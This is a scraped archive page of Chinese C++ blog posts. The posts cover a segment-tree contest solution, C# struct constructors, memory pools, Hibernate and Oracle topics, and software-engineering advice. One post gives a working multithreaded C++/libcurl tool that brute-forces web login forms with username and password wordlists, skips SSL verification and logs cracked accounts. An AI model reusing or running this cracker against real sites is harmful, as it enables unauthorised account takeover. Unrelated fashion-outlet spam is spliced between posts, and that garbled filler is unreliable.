Category Archives: C++博客-首页原创精华区

© 2012 . All rights reserved.

poj3468–绝对经典的线段树题

线段树题,本题对线段树的操作有建树(MakeTree())、查找(Query())、更新(update())。建树一次完成,时间花费为O(LogN);查询的时间复杂度鄙人还不会分析O(∩_∩)O~,最坏可能是O(N),不过这种情况应该很难出现;更新的算法值得商榷,不同的策略时间复杂度会相差很大。下面讲解两种比较用以想到的更新策略。更新方法一:每次都将所有能更新的节点更新,这种方式最坏情况下将会更新树中所有节点,此时时间复杂度为O(N)。本题使用这种方法会TLE。更新方法二:每次都尽量少的更新节点信息,与第一种方法相比,Node内会多一个变量en,我把它形象的称之为“势能”,计算结果时要将该的所有父节点的“势能”也考虑在内。这种方法的时间复杂度也不好分析,但明显优于第一种方法。这一题对时间卡的很紧,主要是花在树的更新上。关于线段树可以先参阅:http://www.cppblog.com/hoolee/archive/2012/07/29/185531.html以下是本题代码: #include<stdio.h>#include<stdlib.h>#define LEN 100010#define LEN0 6550000typedef struct {    int a, b;    int l, r;    long long sum;//记录该区间内的部分和    long long en;//记录该节点“势能”。}Node;int count;Node A[LEN0];int allNum[LEN];void MakeTree(int i){    A[i].en = 0;    int a = A[i].a;    int b = A[i].b;    int mid = (a + b) / 2;    if(a == b)    {        A[i].sum = allNum[a];        return;    }    int l = ++count;    int r = ++count;    A[l].a = a;    A[l].b = mid;    A[r].a = mid + 1;    A[r].b = b;    MakeTree(l);    MakeTree(r);    A[i].sum = A[l].sum + A[r].sum;    A[i].l = l;    A[i].r = r;}long long Query(int t, int aa, int bb, long long en){    int a = A[t].a;    int b = A[t].b;    if(a == aa && b == bb)//1    {        return A[t].sum + en * (bb - aa + 1);     }    int mid = (a + b) / 2;    if(bb <= mid)//2        return Query(A[t].l, aa, bb, en + A[t].en);    if(aa >= mid + 1)//3        return Query(A[t].r, aa, bb, en + A[t].en);    long long suml = Query(A[t].l, aa, mid, en + A[t].en);//4    long long sumr = Query(A[t].r, mid + 1, bb, en + A[t].en);    return suml + sumr;}void Update(int t, int aa, int bb, int c){    int a = A[t].a;    int b = A[t].b;    int mid = (a + b) / 2;    int l = A[t].l;    int r = A[t].r;    A[t].sum += (bb - aa + 1) * c;    if(aa == a && bb == b)    {        A[t].en += c;        return;    }    if(bb <= mid)        Update(l, aa, bb, c);    else if(aa >= mid + 1)        Update(r, aa, bb, c);    else    {        Update(l, aa, mid, c);        Update(r, mid + 1, bb, c);    }    }int main(){    int i, j;    int N, Q;    int a, b, c;    scanf(“%d%d“, &N, &Q);    for(i = 1; i <= N; i++)        scanf(“%d“, &allNum[i]);        count = 0;    int t = ++count;    A[t].a = 1;    A[t].b = N;    MakeTree(t);    char str[50];    getchar();    for(i = 0; i < Q; i++)    {        gets(str);        if(str[0] == ‘Q‘)        {            sscanf(&str[1], “%d%d“, &a, &b);            long long sum = Query(1, a, b, 0);            printf(“%lld\n“, sum);        }        else if(str[0] == ‘C‘)        {            sscanf(&str[1], “%d%d%d“, &a, &b, &c);            Update(1, a, b, c);        }    }    //system(“pause”);} 小鼠标 2012-07-31 20:40 发表评论 from C++博客-首页原创精华区 http://www.cppblog.com/hoolee/archive/2012/07/31/185779.html How to Display Children Clothes woolrich outlet Beyonce And Tina Knowles on or whatever you’re eating will go straight to my hips chanel shoesFashion Design for Capri One Piece Jumpsuits

© 2012 . All rights reserved.

由struct的静态构造函数说起

最近才知道struct和class的静态构造函数的触发规则是不同的,不像class在第一次使用类的时候触 发静态构造函数。如果只访问struct实例的字段是不会触发静态构造函数调用的。通过测试发现当访问静 态字段,struct本身的函数(静态和实例)和带参数的构造函数就会引起静态构造函数的执行。而调用默 认构造和未覆写的基类虚函数是不会的。为什么呢? 让我们先来看看class和struct在调用构造函数时的区别。class使用newobj指令而struct使用initobj 指令来构造对象。newobj在堆上申请一块内存并调用相应的构造函数进行初始化,然后将对象地址返回给 计算栈。initbobj则是从本地变量表中载入已经分配出来的struct实例然后初始化struct的各字段。这个 初始化过程是CLR内部执行的,而不像class编译器会给class添加一个默认构造函数(这就是为什么 struct不能给字段添加默认值的原因。但在类中如果给字段添加了默认值编译器就会自动在构造函数中添 加字段赋值操作)。如果给struct中定义了一个有参数的构造函数,那么系统就不会使用initobj指令, 而是直接用call指令调用带参数的构造函数。 我们最常见最常用的调用函数的指令是call和callvirt。对于静态函数使用call指令,对于class使用 callvirt指令(不论class中的函数是不是虚的)。只有子类调用父类的函数的时候(避免递归调用)以 及构造函数中(由编译器添加保证父类字段被初始化)使用call指令。而对于struct我们发现只要调用的 函数是struct本身定义的都是使用call指令。call和callvirt指令的差别在于,call会把调用的函数当作 静态函数看待,而不会关心调用当前函数时实例指针(this)是否为空。这就是struct调用函数时为什么 都是call因为struct实例是不可能被置为null的。实际上class在调用非虚函数时实际上也是使用call的 只是多做了一步验证——this是否为空,让我们来验证一下。 class Class_Test{  public void Test1() {}  public virtual void Test2() {}  public static void Test3() {}  public override string ToString()   {    return base.ToString();  }}Class_Test c = new Class_Test … Continue reading

© 2012 . All rights reserved.

浅谈内存池几种设计方式

      写服务器的,通常会涉及到内存池的东西,自己在这方面也看了写了一些东西,有些体会,写出来跟大家分享下。       内存池基本包含以下几个东西,第一,初始化。第二,分配内存。第三,回收内存。所谓初始化,就是在服务器启动的时候,或者第一次需要内存的时候,系统分配很大的一块内存,方便之后的使用。分配内存,就是从内存池中取出需要的内存给外部使用,当然这里需要考虑的是当内存池中没有内存可分配时候的处理。回收内存,简单来说,就是外面对象生命期结束了,将分配出去的内存回收入内存池中。好了简单概念就说完了,我们先来看一种最简单的设计方式。 //为了方便描述,这里附上几个简单的链表操作宏 #define INSERT_TO_LIST( head, item, prev, next ) \ do{ \ if ( head ) \ (head)->prev = (item); \ (item)->next = (head); \ (head) = (item);          \ }while(0) #define REMOVE_FROM_LIST(head, item, prev, next) \ … Continue reading

© 2012 . All rights reserved.

Hibernate 优化

  第一次去面试的时候人家人如何在SSH框架下,如何进行Hibernate的优化,当时自己只是看到这些根本就没有系统的总结这些东西,今天终于找到一个时间来解决一下自己面试的这个问题了。 Hibernate自述            我天生效率比较低,在普遍情况下,需要将执行转换为SQL语句的Hibernate低于直接JDBC存取。但是在经过tb比较好的性能优化之后,我的性能还是让人相当满意的,特别是应用二级缓存之后,甚至可以获得比较不使用缓存的JDBC更好的性能。 优化总结            要想优化Hibernate,我们必须知道应该从什么地方进行优化,从什么地方入手。Hibernate的优化方向:数据库设计、HQL优化、缓存、主配置、延迟加载、方法选用、集合选用、事物控制、批量操作   具体分析 第一点:数据库设计        前边博客介绍过 数据库设计,今天我们还从这开始,表的设计就是建楼的基础,如何让基础简洁而结实这是最重要的。 优化策略: 1.   建索引 2.   减少表之间的关联 3.   简化查询字段,没用的字段不要,已经对返回结果的控制,尽量返回少量数据 4.   适当的冗余数据,不过分最求高范式 第二点:HQL优化                         … Continue reading

© 2012 . All rights reserved.

暴力破解Web表单

图为我的思考方式: SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |        FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);    curl_global_init(CURL_GLOBAL_ALL);     SYSTEM_INFO info;//根据CPU生成线程数    GetSystemInfo(&info);    vector<string> user(istream_iterator<string>(ifstream(userfilename.c_str())),istream_iterator<string>());    vector<string> pass(istream_iterator<string>(ifstream(passwordfilename.c_str())),istream_iterator<string>());    fstream filed(headerfilename);    while (!filed.eof())    {            char temp[4096]=””;        filed.getline(temp,4096);        vecheader1.push_back(temp);    }    filed.close();    CWork::readpostdata(m_postdata);    CWork::readkeyword(keyword);    CWork::readurl(url);     vector<UserPass> obj_userpass;    for(size_t i=0;i!=user.size();i++)    {        for(size_t j=0;j!=pass.size();j++)        {            UserPass temp;            temp.user=user[i];            temp.pass=pass[j];            obj_userpass.push_back(temp);        }    }     string console_title;    CWork::maketitle(console_title,”帐号数量:”,user.size());    CWork::maketitle(console_title,”密码数量:”,pass.size());    CWork::maketitle(console_title,”共计次数:”,obj_userpass.size());    wstring w_console_title=CWork::s2ws(console_title);    SetConsoleTitle(w_console_title.c_str());     user.clear();    pass.clear();     ////////////////////////生成测试数据////////////////////////    if(obj_userpass.size()>=1)    {        pull_one_url(obj_userpass[0]);        ofstream out(“第一次数据测试.txt”,ios::app);        out<<sz_head<<endl<<endl;        out<<”——–分割性———–”<<endl;        out<<sz_html<<endl;        out.close();    }    ////////////////////////为了观察一下关键字,到底应该设置什么////////////////////////    int thread_num=info.dwNumberOfProcessors*2;    long current_pos=1;    long result=0;    int num_total=obj_userpass.size();    console_title+=”已发送:”;     while (1)    {        if (obj_userpass.size()<current_pos)        {            break;        }        vector<UserPass> obj;        CWork::allocateUserPass(obj,obj_userpass,current_pos,thread_num);        stringstream strStream;        strStream<<result;        string new_tile=console_title;        new_tile+=strStream.str();        if (szCount!=0)        {            new_tile+=”  已成功破解:”;            stringstream strStream1;            strStream1<<szCount;            new_tile+=strStream1.str();        }        wstring w_console_title=CWork::s2ws(new_tile);        SetConsoleTitle(w_console_title.c_str());        thread_group threads;        int obj_num=obj.size();        for (int i = 0; i!=obj_num; ++ i) {            result++;            threads.create_thread(boost::bind(&pull_one_url,obj[i]));        }        threads.join_all();     }    cout<<”所有密码全部查找完成”<<endl;    curl_global_cleanup(); void pull_one_url(UserPass obj){    bool m_true=true;    transform(keyword.begin(), keyword.end(), keyword.begin(), ::tolower);//所有html代码,转化为小写    while(m_true)    {        string dddddd=m_postdata;        if(dddddd.empty())        {            cout<<”postdata中数据为空,线程马上退出”<<endl;            return;        }        if (url.empty()||url==””)        {            cout<<”attackurl.txt不存在,或url地址为空”<<endl;            return;        }                             CURL *curl = curl_easy_init();            string m_url=url;             string header;            string html;             struct curl_slist *slist_header = NULL;            for (int i=0;i!=vecheader1.size();i++)            {                slist_header = curl_slist_append(slist_header,vecheader1[i].c_str());            }            curl_easy_setopt(curl, CURLOPT_HTTPHEADER, slist_header);            //连接服务器和发送请求的超时设置,单位是毫秒            curl_easy_setopt(curl, CURLOPT_POST, 1);              //curl_easy_setopt(curl,CURLOPT_FOLLOWLOCATION,1);            curl_easy_setopt(curl,CURLOPT_TIMEOUT_MS,10000);            curl_easy_setopt(curl,CURLOPT_CONNECTTIMEOUT_MS,10000);            curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 1);            curl_easy_setopt(curl, CURLOPT_URL, url.c_str());            if(m_url.substr(0,5)==”https”)            {                curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);                curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);            }            curl_easy_setopt(curl, CURLOPT_DNS_CACHE_TIMEOUT, 10000);             curl_easy_setopt(curl, CURLOPT_TIMEOUT, 6000);            //curl_easy_setopt(curl, CURLOPT_VERBOSE,1);            curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, html_write_data);              CWork::replace(dddddd,”{0%}”,obj.user.c_str());            CWork::replace(dddddd,”{1%}”,obj.pass.c_str());             curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, dddddd.length());     // Content-Length:            curl_easy_setopt(curl,CURLOPT_POSTFIELDS,dddddd.c_str());  //post提交的数据            curl_easy_setopt(curl, CURLOPT_WRITEDATA, &html);            curl_easy_setopt(curl, CURLOPT_USERAGENT,”Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0″);            curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, header_write_data);             curl_easy_setopt(curl, CURLOPT_WRITEHEADER, &header);             curl_easy_perform(curl); /* ignores error */             //curl_easy_getinfo(curl,CURLINFO_SIZE_DOWNLOAD,&html_num);//返回的html文件大小            long   http_code=0;            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);            //curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &m_time);//总耗时            //curl_easy_getinfo(curl,CURLINFO_CONNECT_TIME, &connect_time);//连接时间            //curl_easy_getinfo(curl,CURLINFO_NAMELOOKUP_TIME, &datatime);//dns查询时间            //curl_easy_getinfo(curl, CURLINFO_PRIMARY_IP, &IP);//ip地址             //CURLINFO_PRETRANSFER_TIME:从建立连接到准备传输所使用的时间;            //CURLINFO_STARTTRANSFER_TIME:从建立连接到传输开始所使用的时间;            //ptime now2 = microsec_clock::universal_time() + hours(8);            //boost::posix_time::millisec_posix_time_system_config::time_duration_type time_elapse = now2 - now1;              transform(header.begin(), header.end(), header.begin(), ::tolower);//所有html代码,转化为小写            transform(html.begin(), html.end(), html.begin(), ::tolower);//所有html代码,转化为小写            //在这里对html代码进行转码,如果是utf8就转gb2312            if(header.find(“utf”)!=-1)            {                string gb2312html;                CWork::Utf8ToGb2312(html.c_str(),gb2312html);                html=gb2312html;            }             if (http_code==200||http_code==302)            {                if (html.find(keyword)==-1)                {                    szCount++;                    boost::mutex::scoped_lock lock(io_mutex);                    ofstream out(result,ios::app);                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN);                    out<<”恭喜!!!  用户名:”<<obj.user<<”    密码:”<<obj.pass<<endl;                    cout<<”http状态”<<http_code<<”密码破解成功1个    username:”<<obj.user<<”    password:”<<obj.pass<<endl;                                out.close();                    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY |                        FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);                }                else                {                    boost::mutex::scoped_lock lock(io_mutex);                    cout<<”密码错误”<<” 线程ID: “<<boost::this_thread::get_id()<<” http_code:”<<setw(3)<<http_code<<” 用户名:”<<obj.user<<” 密码:”<<obj.pass<<endl;                }            }            else            {                if(http_code==0)                {                    boost::mutex::scoped_lock lock(io_mutex);                    cout<<”超时马上重新连接”<<”用户名:”<<obj.user<<” 密码:”<<obj.pass<<endl;                    curl_easy_cleanup(curl);                    continue;                }                boost::mutex::scoped_lock lock(io_mutex);                cout<<”密码错误”<<” 线程ID: “<<boost::this_thread::get_id()<<” http_code:”<<http_code<<” 用户名:”<<obj.user<<” 密码:”<<obj.pass<<endl;            }            m_true=false;            curl_easy_cleanup(curl);                         sz_html=html;            sz_head=header;        } } 公子周 2012-07-09 18:07 发表评论 from C++博客-首页原创精华区 http://www.cppblog.com/zxl200406/archive/2012/07/09/182437.html It is important to always look your best of course lous vuitton speedy Best … Continue reading

© 2012 . All rights reserved.

我推荐软件架构师应该读的资料

     摘要: 如果你想追寻一些开发灵感,推荐你读取以下一些资料: 1.佛洛伊德标志性思想的内容,特别是他的本身,他的来往书信、传记、名著,特别尝试一些心理分析实验,将会给你的意识增加一个全新的纬度。 西格蒙德·弗洛伊德(Sigmund Freud,1856.5.6-1939.9.23),犹太人,奥地利精神病医生及精神分析学家。精神分析学派的创始人。他认为被压抑的欲望绝大部分是属于性的,性的扰乱是精神病的根本原因。著有《性学三论》、《梦的释义》、《图腾与禁忌》、《日常生活精神病理学》、《精神分析引论》、《精神分析引论新编》等。   阅读全文 AlanTop 2012-07-08 12:56 发表评论 from C++博客-首页原创精华区 http://www.cppblog.com/alantop/archive/2012/07/08/182198.html Wear that with a black silk skirt for evenings Isabel Marant Sneaker worst pic you’ve ever POSTED The Job of a Merchandiser woolrich jassenD mixing prints … Continue reading

© 2012 . All rights reserved.

用Oracle的热备份重建数据库

为了检验我开发的Oracle数据库在线备份系统,我根据“Oracle数据库在线备份系统”产生的备份文件来重建和恢复Oracle数据库。为了让大家共享其方法和tb步骤(也适合于用其它方式对Oracle做的热备份进行重建数据库)现整理如下。 一、系统环境 本次测试所使用的系统环境如下: 1. 硬件环境 服务器:Dell PowerEdge 1300 (CPU:PⅢ 550MHz 内存:128MB 硬盘:36GB) 2. 软件环境 操作系统:UnixWare 7.1 数据库: Oracle 8.1.6 for Unix 企业版,SID:ora816 Oracle安装路径:/home/oracle 备份文件:所有数据库文件、控制文件、初始化文件、数据库备份以来的所有归档日志文件。 二、恢复步骤 下面根据从用户处带回来的备份数据,在一台新的服务器重建Oracle数据库。其详细步骤如下: 1. 创建数据库恢复使用的环境 在新的Dell服务器上,安装与原来的数据库服务器相同的操作系统UnixWare 7.1;然后安装与原数据库相同版本的Oracle 8.1.6 for Unix 企业版。 2. 删除新服务器上的Oracle实例 启动新数据库服务器上的Oracle,在sqlplus中,查找到数据库文件的路径,并保存在当前路径下的文件file_name.txt中: $ sqlplus system/manager SQL> … Continue reading

© 2012 . All rights reserved.

Oracle临时表在实际开发中的应用详解

Oracle临时表在实际开发中的应用是本文我们主要要介绍的内容,我们知道,SQL Server 在编写查询式的存储过程的时候,一直都令我为之赞叹。Create procedure ps_procedure_name as select * from table; Select查询语句可以作为SQL Server存储过程的一部分,直接返回结果集。但在Oracle实现这种形式的存储过程是不合语法的。 为了达到这种目的,我们需要使用Oracle临时表(这是其中一种解决方案)。 Oracle数据库除了可以保存永久表外,还可以建立临时表temporary tables。Oracle临时表分为会话级临时表(ON COMMIT PRESERVE ROWS)和事务级临时表(ON COMMIT DELETE ROWS)。tb会话级临时表是指临时表中的数据只在会话生命周期之中存在,当用户退出会话结束的时候,Oracle自动清除临时表中数据。 事务级临时表是指临时表中的数据只在事务生命周期中存在。当一个事务结束(commit or rollback),Oracle自动清除临时表中数据。临时表中的数据只对当前Session有效,每个Session都有自己的临时数据,并且不能访问其它Session的临时表中的数据。 //在数据库建立一个临时表:   CREATE GLOBAL TEMPORARY TABLE ESPS.ESPS_EMP_RANK_TEMP   (   COM                VARCHAR2(20 BYTE),   EMPNO             VARCHAR2(20 BYTE),   EMPNAME          VARCHAR2(100 BYTE),   DEPTNAME         VARCHAR2(300 BYTE),   AMOUNT            NUMBER,   … Continue reading

© 2012 . All rights reserved.

Oracle临时表和SQL Server临时表的不同点对比

Oracle数据库创建临时表的过程以及和SQL Server临时表的不同点的对比的相关知识是本文我们主要要介绍的内容,接下来就让我们一起来了解一下这部分内容吧,希望能够对您有所帮助。 1.简介 Oracle数据库除了可以保存永久表外,还可以建立临时表temporary tables。这些临时表用来保存一个会话SESSION的数据,或者保存在一个事务中需要的数据。当会话退出或者用户提交commit和回滚rollback事务的时候,临时表的数据自动清空,但是临时表的结构以及元数据还存储在用户的数据字典中。 2.详细介绍 Oracle临时表分为会话级临时表和事务级临时表。 会话级临时表是指临时表中的数据只在会话生命周期之中存在,当用户退出会话结束的时候,Oracle自动清除临时表中数据。 事务级临时表是指临时表中的数据只在事务生命周期中存在。当一个事务结束(commit or rollback),Oracle自动清除临时表中数据。 临时表中的数据只对当前Session有效,每个Session都有自己的临时数据,并且不能访问其它Session的临时表中的数据。因此,临时表不需要DML锁。 当一个会话结束(用户正常退出 用户不正常退出 ORACLE实例崩溃)或者一个事务结束的时候,Oracle对这个会话的表执行 TRUNCATE 语句清空临时表数据.但不会清空其它会话临时表中的数据. 你可以索引临时表和在临时表基础上建立视图.同样,建立在临时表上的索引也是临时的,也是只对当前会话或者事务有效. 临时表可以拥有触发器. 3.建立临时表 临时表的定义对所有会话SESSION都是可见的,但是表中的数据只对当前的会话或者事务有效. 建立方法: 1) ON COMMIT DELETE ROWS 定义了建立事务级临时表的方法.   CREATE GLOBAL TEMPORARY TABLE admin_work_area   (startdate DATE,   enddate DATE,   class CHAR(20))   ON COMMIT DELETE ROWS;   EXAMPLE:   SQL> CREATE GLOBAL TEMPORARY TABLE admin_work_area   2 (startdate DATE,   … Continue reading

© 2012 . All rights reserved.

作为软件工程师,你必须知道的20个常识

转自http://sd.csdn.net/a/20120628/2806962.html   1.针对面向对象的设计与分析:为了让软件有更好的可维护性,重用性以及快速开发,简短的OOAD与它的SOLID原则对于每一个软件工程师来说都是该牢记的。 2.软件品质因素:软件工程的好坏与软件的品质因素是绝对关联的。请在开发过程中深刻的理解这一点。 3.数据结构与算法:深刻理解像数组,列表,栈,树,图,集合等这样的基本数据结构,并在软件开发过程的关键部分使用好的算法。这样整个软件逻辑就会很清晰了。 4.Big-O符号来标记算法复杂度:在开发过程中,请务必使用Big-O符号来比较两个代码段或者不同算法所消耗的时间复杂度,这在开发高性能软件项目中是非常重要的。 5.UML图:UML图已经是一个通用的软件设计与分析的语言。如果你们在开发软件的过程中还没有做UML图,那么给人的感觉就是这压根就不是软件工程。  6.正确的衡量软件开发进度。 7.设计模式:设计模式是前人在解决各种各样问题的过程中总结出来的一套标准对策,在绝大部分情况下,使用这些模式肯定是利大于弊的。如果你不想在开发过程中重新造轮子,那么就直接使用它吧。 8.理解操作系统的基本原理:因为所有的应用程序都是直接运行在操作系统这个层级的,学习操作系统的基本原理能让我们对应用程序的底层以及性能有更好的把握。 9.学习计算机组成原理:几乎所有的应用程序甚至是OS都需要与物理硬件打交道的,所以学习计算机组成原理与理解操作系统原理一样都可以让你对于应用程序有更深刻的理解。 10.网络基础:网络与计算机组成,操作系统以及传输流程都是紧密关联的,理解网络基础能让你在开发过程中得心应手。 11.需求分析:对于软件工程来说,需求分析是项目的起点,也是整个项目最最重要的部分。如果这玩意你搞错了,整个项目的方向也就错了。 12.软件测试:在软件工程中,测试也是非常重要的。单元测试,黑盒测试,白盒测试,TDD,集成测试等等都是我们必须知道的。 13.独立管理:主要是说类库(JAR,DLL等等)的管理,熟悉使用一些类似Maven,Ant,lvy这样的知名工具对于大型项目的类库管理是非常有用的。 14.持续化集成:持续化集成能让测试大型模块与组件更加简单与自动化,关于这一点,你可以去了解Hudson这个工具。  15.ORM:了解Hibernate这种将对象与数据库表映射工具是非常有好处的,它可以减少你的代码量并节省你的代码维护时间。 16.DI(独立注入):DI或者IoC(Inversion of Control)的具体实现框架Spring能让你创建对象时更加轻松,对于大型企业级项目更是如此。 17.版本控制系统:VSC工具(SVN,TFS,CVS等)对于团队合作开发以及版本控制都是非常重要的。熟练使用这类工具算得上是必备技能。  18.国际化:通过i18n来将不同语种的字符串存储在其他文件是让软件支持多语种最好的方法。所以i18n在不同的IDE上使用的方法我们应该了解。  19.架构模式:理解类似MVC,MVP,MVVM这样的架构模式非常关键,这能让你写出易维护,简洁以及方便测试的代码。 20.编写干净的代码:你的代码仅仅只是能够正常运行是远远不够的,它必须让编程人员轻易看懂来方便后续维护,所以,代码格式以及编写易读的代码技术都是我们需要了解的关键点。 SunRise_at 2012-07-03 17:48 发表评论 from C++博客-首页原创精华区 http://www.cppblog.com/sunrise/archive/2012/07/03/181273.html Checking the seams will show you the durability of … Continue reading

© 2012 . All rights reserved.

替代系统malloc/new–选择合适的内存跟踪方案

  替代系统自带的malloc/new原因无非两个:  reason 1. 做内存profile或查找问题    reason 2. 自定义的分配方案提高性能 不过文章[1]中说明了,替代全局new不是一个好做法. 其实要达到以上两点目的,笔者认为用valgrind工具链就可以了。 解决方案: 1. 用valgrind和massif      valgrind的memcheck做内存泄露和bug的查找, 里面的massif工具包做内存性能profile, 足矣。比自己山寨的一个profiler要好。      注意:tcmalloc目前还不能很好支持valgrind,  实测中jemalloc可以 2.  linux下C的程序可以用wrap的方式(相当于python的decorator)      编译加上选项:gcc -Wl,-wrap,malloc      可以做到对malloc这个函数,linker会调用__wrap_malloc代替之, 若要调用原来的malloc函数__real_malloc      缺点:依赖于编译器支持; 对c++的new不起作用 –> 不实用      启示:这个方法作为function装饰器,对于调试别的问题倒有帮助。(例如不改变函数的情况下,wrap一层,输出些调试信息) … Continue reading

© 2012 . All rights reserved.

C++教程网培训视频汇总

C++教程网致力于提供一站式C++培训视频,目前推出的课程汇总如下,如需了解C++教程网课程体系,可以访问http://www.cppcourse.com Linux最佳入门(共10集)还在为Linux入门发愁吗?还在为繁杂的Linux知识感到无所适从吗?《Linux入门视频》教程将是您最佳的选择。《Linux入门视频》从Linux开发者的角度提炼出Linux开发者所必备的Linux知识。01初识Linux什么是LinuxLinux与Unix的关系Linux系统的特点Linux系统的组成 02Linux基本操作登录口令文件简单命令man 03Linux基本命令目录操作命令(cd mkdir rmdir)文件操作命令(cp mv rm ln which cat less more head tail wc) 04bash基础通配符输入输出重定向管道后台作业历史记录命令补全别名 05Linux文件系统什么是文件系统文件类型mount与umount软连接与硬连接 06Linux管理命令df、du(查看磁盘与目录容量命令)free(查看内存使用状态命令)ps(查看进程命令)top(进程监控命令)kill、killall(向进程发信号命令)rpm(安装软件包命令)tar(备份与恢复命令) 07linux文件权限linux用户类别组管理用户管理权限管理suid、sgid、sticky bitumask 08vi使用什么是vivi的三种工作方式编辑模式插入模式命令模式(末行模式) 09grep命令与正则表达式grep命令正则表达式grep命令中使用正则表达式vi中使用正则表达式 10findfind命令一般格式find常用表达式find逻辑表达式find示例 Shell编程入门(共11集) 从程序员的角度来看,Shell本身是一种用C语言编写的程序,从用户的角度来看,Shell是用户与Linux操作系统沟通的桥梁。对于Linux用户来说掌握一定的Shell知识是必要的。《Shell编程视频》总结常用的Shell编程知识,并通过Shell脚本实现一个俄罗斯方块程序让大家领略Shell的魅力。01Shell编程基础什么是Shell程序本地变量环境变量位置参量数组 02Shell输入输出readechoecho输出颜色与光标定位 03Shell算术扩展单引号、双引号、反引号区别命令替换算术扩展 04Shell条件测试字符串测试整数测试逻辑测试文件测试 05Shell条件与分支语句if语句case语句 06Shell循环语句for语句while语句until语句select与菜单 07函数函数的使用字符串操作一些内置命令(expr,shift,eval,trap等) 08sed什么是流编辑器sedsed地址定位方式sed编辑命令 09awk什么是awkawk简单用法awk脚本语法awk执行过程 10Shell俄罗斯方块(上)获取键盘方向按键(read)棋盘绘制(echo)俄罗斯方块表示(一维数组)俄罗斯方块图形输出 11Shell俄罗斯方块(下)进程模型(显式进程,控制进程)捕捉信号(trap )俄罗斯方块源码分析 Linux开发工具篇(共6集) 工欲善其事必先利其器,《Linux开发工具使用》视频讲解Linux底下C/C++开发工具的使用。主要包括编译工具gcc、调试工具gdb、make(Makefile)工具。01gcc入门(上)什么是gccgcc特点gcc编译过程gcc常用选项gcc编译多文件 02gcc入门(下)使用外部库静态库与共享库生成静态库生成动态库 … Continue reading